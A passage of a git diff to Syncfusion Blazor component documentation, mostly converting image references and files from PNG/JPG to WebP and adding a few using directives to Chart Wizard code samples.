@@ -54,7 +54,7 @@ Use the following CSS to customize the indicators appearance by overriding the `
 
 ```
 
-![Carousel](./images/indicator-size.jpg)
+![Carousel](./images/indicator-size.webp)
 
 Use the following CSS to render the indicators outside the carousel items by overriding the `.e-carousel-indicators` CSS class.
 
@@ -66,7 +66,7 @@ Use the following CSS to render the indicators outside the carousel items by ove
 
 ```
 
-![Carousel](./images/indicators-outside.jpg)
+![Carousel](./images/indicators-outside.webp)
 
 ## Customizing the navigators
 
@@ -83,7 +83,7 @@ Use the following CSS to customize the previous and next icon size and colors.
 
 ```
 
-![Carousel](./images/navigators-size-color.jpg)
+![Carousel](./images/navigators-size-color.webp)
 
 Use the following CSS to customize the navigators position to bottom by overriding the `.e-carousel-navigators` CSS class.
 
@@ -95,7 +95,7 @@ Use the following CSS to customize the navigators position to bottom by overridi
 
 ```
 
-![Carousel](./images/navigators-position.jpg)
+![Carousel](./images/navigators-position.webp)
 
 Use the following CSS to render the previous and next icon to outside the carousel items by overriding the `.e-previous` and `.e-next` CSS class.
 
@@ -110,7 +110,7 @@ Use the following CSS to render the previous and next icon to outside the carous
 
 ```
 
-![Carousel](./images/previous-next.jpg)
+![Carousel](./images/previous-next.webp)
 
 ## Customizing partial slides size
 
@@ -124,4 +124,4 @@ You can customize the partial slide size by overriding the `.e-carousel-slide-co
 
 ```
 
-![Carousel](./images/partial-slide-size.jpg)
\ No newline at end of file
+![Carousel](./images/partial-slide-size.webp)
\ No newline at end of file
diff --git a/blazor/chart-wizard/appearance.md b/blazor/chart-wizard/appearance.md
index 8a75e62e5e..869be672f2 100644
--- a/blazor/chart-wizard/appearance.md
+++ b/blazor/chart-wizard/appearance.md
@@ -72,7 +72,7 @@ You can control the size of the `Chart Wizard` by specifying the `Width` and `He
 
 ```
 
-![Chart Wizard dimensions in percentage](images/chart-wizard-dimension-in-percentage.png)
+![Chart Wizard dimensions in percentage](images/chart-wizard-dimension-in-percentage.webp)
 
 ### In pixel
 
@@ -118,7 +118,7 @@ You can control the size of the `Chart Wizard` by specifying the `Width` and `He
 
 ```
 
-![Chart Wizard dimensions in pixel](images/chart-wizard-dimension-in-pixel.png)
+![Chart Wizard dimensions in pixel](images/chart-wizard-dimension-in-pixel.webp)
 
 
 ### Theme
@@ -167,7 +167,7 @@ The `Theme` property applies a built-in visual style to the chart. Choose from a
 
 ```
 
-![Chart Wizard appearance theme](images/chart-wizard-appearance-theme.png)
+![Chart Wizard appearance theme](images/chart-wizard-appearance-theme.webp)
 
 
 N> The `Theme` property applies the selected theme to the chart area, not the entire Chart Wizard UI. For a consistent look across the whole component, refer to the theme section in [Getting started](./getting-started.md).
@@ -219,7 +219,7 @@ Set `EnableRtl` to `true` to support right-to-left languages such as Arabic or H
 
 ```
 
-![Chart Wizard appearance RTL](images/chart-wizard-appearance-rtl.png)
+![Chart Wizard appearance RTL](images/chart-wizard-appearance-rtl.webp)
 
 
 ### PropertyPanelExpanded
@@ -268,7 +268,7 @@ The `PropertyPanelExpanded` property controls whether the property panel is open
 
 ```
 
-![Chart Wizard appearance property panel](images/chart-wizard-appearance-property-panel.png)
+![Chart Wizard appearance property panel](images/chart-wizard-appearance-property-panel.webp)
 
 
 
diff --git a/blazor/chart-wizard/getting-started-with-wasm.md b/blazor/chart-wizard/getting-started-with-wasm.md
index 6c678df4a0..10b9828f56 100644
--- a/blazor/chart-wizard/getting-started-with-wasm.md
+++ b/blazor/chart-wizard/getting-started-with-wasm.md
@@ -159,7 +159,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart Wizard com
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart Wizard component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzNsLepwXKBvNw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Chart Wizard Default](images/chart-wizard-default.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzNsLepwXKBvNw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Chart Wizard Default](images/chart-wizard-default.webp)" %}
 
 ## Populate Blazor Chart Wizard data
 
@@ -246,7 +246,7 @@ The default series type is Line. Use the `SeriesType` property to change the ser
 {% endhighlight %}
 {% endtabs %}
 
-![Chart Wizard Example](images/chart-wizard-getting-started-example.png)
+![Chart Wizard Example](images/chart-wizard-getting-started-example.webp)
 
 ## Theme
 
@@ -315,7 +315,7 @@ The `Theme` property is used to specify the visual theme applied to the chart.
 {% endhighlight %}
 {% endtabs %}
 
-![Chart Wizard appearance - theme](images/chart-wizard-appearance-theme.png)
+![Chart Wizard appearance - theme](images/chart-wizard-appearance-theme.webp)
 
 ## See also
 
diff --git a/blazor/chart-wizard/getting-started-with-web-app.md b/blazor/chart-wizard/getting-started-with-web-app.md
index 380b371b95..eaed66d523 100644
--- a/blazor/chart-wizard/getting-started-with-web-app.md
+++ b/blazor/chart-wizard/getting-started-with-web-app.md
@@ -178,7 +178,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart Wizard component in the default web browser.
 
-![Chart Wizard Default](images/chart-wizard-default.png)
+![Chart Wizard Default](images/chart-wizard-default.webp)
 
 ## Populate Blazor Chart Wizard data
 
@@ -221,6 +221,8 @@ The default series type is Line. Use the `SeriesType` property to change the ser
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.ChartWizard
+
 <div class="control-section">
     <SfChartWizard>
         <ChartSettings DataSource="@OlympicsDataSource"
@@ -262,7 +264,7 @@ The default series type is Line. Use the `SeriesType` property to change the ser
 {% endhighlight %}
 {% endtabs %}
 
-![Chart Wizard Example](images/chart-wizard-getting-started-example.png)
+![Chart Wizard Example](images/chart-wizard-getting-started-example.webp)
 
 ## Theme
 
@@ -288,6 +290,8 @@ The `Theme` property is used to specify the visual theme applied to the chart.
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.ChartWizard
+
 <div class="control-section">
     <SfChartWizard Theme="Theme.Material3">
         <ChartSettings DataSource="@OlympicsDataSource"
@@ -329,7 +333,7 @@ The `Theme` property is used to specify the visual theme applied to the chart.
 {% endhighlight %}
 {% endtabs %}
 
-![Chart Wizard appearance - theme](images/chart-wizard-appearance-theme.png)
+![Chart Wizard appearance - theme](images/chart-wizard-appearance-theme.webp)
 
 ## See also
 
diff --git a/blazor/chart-wizard/getting-started.md b/blazor/chart-wizard/getting-started.md
index a94cb4366d..bb65a7dfac 100644
--- a/blazor/chart-wizard/getting-started.md
+++ b/blazor/chart-wizard/getting-started.md
@@ -145,7 +145,7 @@ The script can be accessed from NuGet through [Static Web Assets](https://blazor
 
 N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Chart Wizard component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart Wizard component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart Wizard component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
 
@@ -172,7 +172,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart Wizard component in the default web browser.
 
-![Chart Wizard Default](images/chart-wizard-default.png)
+![Chart Wizard Default](images/chart-wizard-default.webp)
 
 ## Populate Blazor Chart Wizard data
 
@@ -215,6 +215,8 @@ The default series type is Line. Use the `SeriesType` property to change the ser
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.ChartWizard
+
 <div class="control-section">
     <SfChartWizard>
         <ChartSettings DataSource="@OlympicsDataSource"
@@ -256,7 +258,7 @@ The default series type is Line. Use the `SeriesType` property to change the ser
 {% endhighlight %}
 {% endtabs %}
 
-![Chart Wizard Example](images/chart-wizard-getting-started-example.png)
+![Chart Wizard Example](images/chart-wizard-getting-started-example.webp)
 
 ## Theme
 
@@ -282,6 +284,8 @@ The `Theme` property is used to specify the visual theme applied to the chart.
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.ChartWizard
+
 <div class="control-section">
     <SfChartWizard Theme="Theme.Material3">
         <ChartSettings DataSource="@OlympicsDataSource"
@@ -323,7 +327,7 @@ The `Theme` property is used to specify the visual theme applied to the chart.
 {% endhighlight %}
 {% endtabs %}
 
-![Chart Wizard appearance - theme](images/chart-wizard-appearance-theme.png)
+![Chart Wizard appearance - theme](images/chart-wizard-appearance-theme.webp)
 
 ## See also
 
diff --git a/blazor/chart-wizard/images/Blazor-server-app-creation.png b/blazor/chart-wizard/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/chart-wizard/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/Blazor-server-app-creation.webp b/blazor/chart-wizard/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/chart-wizard/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/chart-wizard/images/blazor-app-interactive-mode.png b/blazor/chart-wizard/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/chart-wizard/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/blazor-app-interactive-mode.webp b/blazor/chart-wizard/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/chart-wizard/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/chart-wizard/images/blazor-create-web-app.png b/blazor/chart-wizard/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/chart-wizard/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/blazor-create-web-app.webp b/blazor/chart-wizard/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/chart-wizard/images/blazor-create-web-app.webp differ
diff --git a/blazor/chart-wizard/images/blazor-wasm-app-template.png b/blazor/chart-wizard/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/chart-wizard/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/blazor-wasm-app-template.webp b/blazor/chart-wizard/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/chart-wizard/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-appearance-property-panel.png b/blazor/chart-wizard/images/chart-wizard-appearance-property-panel.png
deleted file mode 100644
index 42c049faf6..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-appearance-property-panel.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-appearance-property-panel.webp b/blazor/chart-wizard/images/chart-wizard-appearance-property-panel.webp
new file mode 100644
index 0000000000..72ba814802
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-appearance-property-panel.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-appearance-rtl.png b/blazor/chart-wizard/images/chart-wizard-appearance-rtl.png
deleted file mode 100644
index fc2bc59b2e..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-appearance-rtl.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-appearance-rtl.webp b/blazor/chart-wizard/images/chart-wizard-appearance-rtl.webp
new file mode 100644
index 0000000000..536263e9b8
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-appearance-rtl.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-appearance-theme.png b/blazor/chart-wizard/images/chart-wizard-appearance-theme.png
deleted file mode 100644
index faf6c92059..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-appearance-theme.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-appearance-theme.webp b/blazor/chart-wizard/images/chart-wizard-appearance-theme.webp
new file mode 100644
index 0000000000..413b82da04
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-appearance-theme.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-appearance.png b/blazor/chart-wizard/images/chart-wizard-appearance.png
deleted file mode 100644
index 1157e91bc9..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-appearance.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-appearance.webp b/blazor/chart-wizard/images/chart-wizard-appearance.webp
new file mode 100644
index 0000000000..0e103607e0
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-appearance.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-default.png b/blazor/chart-wizard/images/chart-wizard-default.png
deleted file mode 100644
index f2ed722dc3..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-default.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-default.webp b/blazor/chart-wizard/images/chart-wizard-default.webp
new file mode 100644
index 0000000000..5fa8ba1e24
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-default.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-dimension-in-percentage.png b/blazor/chart-wizard/images/chart-wizard-dimension-in-percentage.png
deleted file mode 100644
index 0a37719127..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-dimension-in-percentage.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-dimension-in-percentage.webp b/blazor/chart-wizard/images/chart-wizard-dimension-in-percentage.webp
new file mode 100644
index 0000000000..7f0a5c7215
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-dimension-in-percentage.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-dimension-in-pixel.png b/blazor/chart-wizard/images/chart-wizard-dimension-in-pixel.png
deleted file mode 100644
index 43354370ac..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-dimension-in-pixel.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-dimension-in-pixel.webp b/blazor/chart-wizard/images/chart-wizard-dimension-in-pixel.webp
new file mode 100644
index 0000000000..711605c564
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-dimension-in-pixel.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-export.png b/blazor/chart-wizard/images/chart-wizard-export.png
deleted file mode 100644
index 12e774a3b4..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-export.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-export.webp b/blazor/chart-wizard/images/chart-wizard-export.webp
new file mode 100644
index 0000000000..91c33a8e61
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-export.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-getting-started-example.png b/blazor/chart-wizard/images/chart-wizard-getting-started-example.png
deleted file mode 100644
index ba772b573b..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-getting-started-example.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-getting-started-example.webp b/blazor/chart-wizard/images/chart-wizard-getting-started-example.webp
new file mode 100644
index 0000000000..d5a8c00b53
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-getting-started-example.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-print.png b/blazor/chart-wizard/images/chart-wizard-print.png
deleted file mode 100644
index a5a6542587..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-print.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-print.webp b/blazor/chart-wizard/images/chart-wizard-print.webp
new file mode 100644
index 0000000000..d331d65041
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-print.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-serialization.png b/blazor/chart-wizard/images/chart-wizard-serialization.png
deleted file mode 100644
index 4678cef369..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-serialization.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-serialization.webp b/blazor/chart-wizard/images/chart-wizard-serialization.webp
new file mode 100644
index 0000000000..510dfd5a16
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-serialization.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-working-with-data-list.png b/blazor/chart-wizard/images/chart-wizard-working-with-data-list.png
deleted file mode 100644
index 56e4d71d1b..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-working-with-data-list.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-working-with-data-list.webp b/blazor/chart-wizard/images/chart-wizard-working-with-data-list.webp
new file mode 100644
index 0000000000..147a0464da
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-working-with-data-list.webp differ
diff --git a/blazor/chart-wizard/images/chart-wizard-working-with-data-observable.png b/blazor/chart-wizard/images/chart-wizard-working-with-data-observable.png
deleted file mode 100644
index 0ee634a68b..0000000000
Binary files a/blazor/chart-wizard/images/chart-wizard-working-with-data-observable.png and /dev/null differ
diff --git a/blazor/chart-wizard/images/chart-wizard-working-with-data-observable.webp b/blazor/chart-wizard/images/chart-wizard-working-with-data-observable.webp
new file mode 100644
index 0000000000..378caccaa8
Binary files /dev/null and b/blazor/chart-wizard/images/chart-wizard-working-with-data-observable.webp differ
diff --git a/blazor/chart-wizard/print-export.md b/blazor/chart-wizard/print-export.md
index ada8346a46..b94a975490 100644
--- a/blazor/chart-wizard/print-export.md
+++ b/blazor/chart-wizard/print-export.md
@@ -67,13 +67,13 @@ Configure export behavior declaratively using the `ChartExportSettings` within `
 
 ```
 
-![Chart Wizard export](images/chart-wizard-export.png)
+![Chart Wizard export](images/chart-wizard-export.webp)
 
 
 N> `PRINT` opens the browser's print dialog and prints the rendered chart. This does not generate a downloadable file, but is ideal for creating physical copies or printing to PDF using your browser's print-to-PDF feature.
 
 
-![Chart Wizard print](images/chart-wizard-print.png)
+![Chart Wizard print](images/chart-wizard-print.webp)
 
 
 ## Customizing the Exported Chart with the Exporting Event
diff --git a/blazor/chart-wizard/serialization.md b/blazor/chart-wizard/serialization.md
index 3daa397d94..157bad6cb5 100644
--- a/blazor/chart-wizard/serialization.md
+++ b/blazor/chart-wizard/serialization.md
@@ -92,7 +92,7 @@ N>
 
 ```
 
-![Chart Wizard serialization](images/chart-wizard-serialization.png)
+![Chart Wizard serialization](images/chart-wizard-serialization.webp)
 
 
 ## See Also
diff --git a/blazor/chart-wizard/working-with-data.md b/blazor/chart-wizard/working-with-data.md
index 4f30e3c3d6..95afafedc1 100644
--- a/blazor/chart-wizard/working-with-data.md
+++ b/blazor/chart-wizard/working-with-data.md
@@ -93,7 +93,7 @@ Any IEnumerable object can be assigned to the `DataSource` property of the `Char
 ```
 
 
-![Chart Wizard working with data - list binding](images/chart-wizard-working-with-data-list.png)
+![Chart Wizard working with data - list binding](images/chart-wizard-working-with-data-list.webp)
 
 ## ObservableCollection
 
@@ -143,7 +143,7 @@ The [ObservableCollection](https://learn.microsoft.com/en-us/dotnet/api/system.c
 
 ```
 
-![Chart Wizard working with data - observable data binding](images/chart-wizard-working-with-data-observable.png)
+![Chart Wizard working with data - observable data binding](images/chart-wizard-working-with-data-observable.webp)
 
 
 ## See Also
diff --git a/blazor/chart/adaptive-layout.md b/blazor/chart/adaptive-layout.md
index 317195b8c3..17699e3d98 100644
--- a/blazor/chart/adaptive-layout.md
+++ b/blazor/chart/adaptive-layout.md
@@ -76,7 +76,7 @@ Adaptive layout in Blazor Charts ensures optimal display of chart elements on mo
 
 ```
 
-![Adaptive Layout in Blazor Chart](images/adaptive-layout/blazor-chart-adaptive-layout.png)
+![Adaptive Layout in Blazor Chart](images/adaptive-layout/blazor-chart-adaptive-layout.webp)
 
 The table below outlines the behavior of chart elements based on chart height and width:
 
diff --git a/blazor/chart/axis-customization.md b/blazor/chart/axis-customization.md
index 892edd28dc..2df199e57d 100644
--- a/blazor/chart/axis-customization.md
+++ b/blazor/chart/axis-customization.md
@@ -54,7 +54,7 @@ An axis can be positioned in the chart area using [CrossesAt](https://help.syncf
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtrUChLRrTftoDAz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Cross Axis](images/axis-customization/blazor-column-chart-cross-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtrUChLRrTftoDAz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Cross Axis](images/axis-customization/blazor-column-chart-cross-axis.webp)" %}
 
 ## Title
 
@@ -95,7 +95,7 @@ A title can be added to the axis using [Title](https://help.syncfusion.com/cr/bl
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhUihhRhzzqpdFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Axis Title](images/axis-customization/blazor-column-chart-axis-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhUihhRhzzqpdFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Axis Title](images/axis-customization/blazor-column-chart-axis-title.webp)" %}
 
 ### Axis title alignment
 
@@ -139,7 +139,7 @@ The axis title's position can be aligned using the `TextAlignment` property in [
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVfDHirzNGCVAZq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Axis Title Alignment](images/axis-customization/blazor-column-chart-axis-title-alignment.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVfDHirzNGCVAZq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Axis Title Alignment](images/axis-customization/blazor-column-chart-axis-title-alignment.webp)" %}
 
 ## Tick lines
 
@@ -182,7 +182,7 @@ The width, color, and size of the minor and major tick lines can be customi
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLgiBBdLTzRploJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Custom Tick Lines](images/axis-customization/blazor-column-chart-custom-tick-lines.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLgiBBdLTzRploJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Custom Tick Lines](images/axis-customization/blazor-column-chart-custom-tick-lines.webp)" %}
 
 ## Grid lines customization
 
@@ -224,7 +224,7 @@ The width, color, and dash array of the minor and major grid lines can be c
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVAWVVnBzoAhreS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Custom GridLines](images/axis-customization/blazor-column-chart-custom-gridline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVAWVVnBzoAhreS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Custom GridLines](images/axis-customization/blazor-column-chart-custom-gridline.webp)" %}
 
 ## Multiple Axis
 
@@ -269,7 +269,7 @@ The [ChartAxes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.C
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjVqirBHhzyoYHVs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Multiple Axes](images/axis-customization/blazor-column-chart-multiple-axes.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjVqirBHhzyoYHVs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Multiple Axes](images/axis-customization/blazor-column-chart-multiple-axes.webp)" %}
 
 ## See also
 
@@ -316,7 +316,7 @@ When an axis is inversed, the greatest value on the axis moves closer to the ori
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZhgMBBRLzoOWYHq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Inversed Axis](images/axis-customization/blazor-column-chart-inversed-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZhgMBBRLzoOWYHq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Inversed Axis](images/axis-customization/blazor-column-chart-inversed-axis.webp)" %}
 
 ## Opposed position
 
@@ -357,7 +357,7 @@ To place an axis in the opposite position of its original position, set its [Opp
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLqMVhHrJGZtGLh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis in Opposed Position](images/axis-customization/blazor-column-chart-axis-at-opposed-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLqMVhHrJGZtGLh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Axis in Opposed Position](images/axis-customization/blazor-column-chart-axis-at-opposed-position.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/axis-labels.md b/blazor/chart/axis-labels.md
index 4bc869dc71..54770df4dd 100644
--- a/blazor/chart/axis-labels.md
+++ b/blazor/chart/axis-labels.md
@@ -60,7 +60,7 @@ When the axis labels overlap, the [LabelIntersectAction](https://help.syncfusion
 
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrUWhVxrUeUPizH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Smart Axis Label in Blazor Column Chart](images/axis-labels/blazor-column-chart-hide-smart-axis-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrUWhVxrUeUPizH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Smart Axis Label in Blazor Column Chart](images/axis-labels/blazor-column-chart-hide-smart-axis-label.webp)" %}
 
 **Case 2:** When [LabelIntersectAction](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartAxis.html#Syncfusion_Blazor_Charts_ChartAxis_LabelIntersectAction) is set to **Rotate45**.
 
@@ -102,7 +102,7 @@ When the axis labels overlap, the [LabelIntersectAction](https://help.syncfusion
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjhUWrhdBKnQRxlc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Smart Axis Label in Rotate45](images/axis-labels/blazor-column-chart-axis-label-in-rotate45.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjhUWrhdBKnQRxlc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Smart Axis Label in Rotate45](images/axis-labels/blazor-column-chart-axis-label-in-rotate45.webp)" %}
 
 **Case 3:** When [LabelIntersectAction](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartAxis.html#Syncfusion_Blazor_Charts_ChartAxis_LabelIntersectAction) is set to **Rotate90**.
 
@@ -144,7 +144,7 @@ When the axis labels overlap, the [LabelIntersectAction](https://help.syncfusion
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtVKsVhHBgQNxgcg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Smart Axis Label in Rotate90](images/axis-labels/blazor-column-chart-axis-label-in-rotate90.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtVKsVhHBgQNxgcg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Smart Axis Label in Rotate90](images/axis-labels/blazor-column-chart-axis-label-in-rotate90.webp)" %}
 
 ## Axis labels positioning
 
@@ -188,7 +188,7 @@ The axis labels can be put **Outside** of the axis line by default, however the
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXVACVhHLgcAIDVs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Axis Label Position in Blazor Column Chart](images/axis-labels/blazor-column-chart-axis-label-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXVACVhHLgcAIDVs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Axis Label Position in Blazor Column Chart](images/axis-labels/blazor-column-chart-axis-label-position.webp)" %}
 
 ## Multilevel labels
 
@@ -243,7 +243,7 @@ The [Start](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Chart
 }
 
 ```
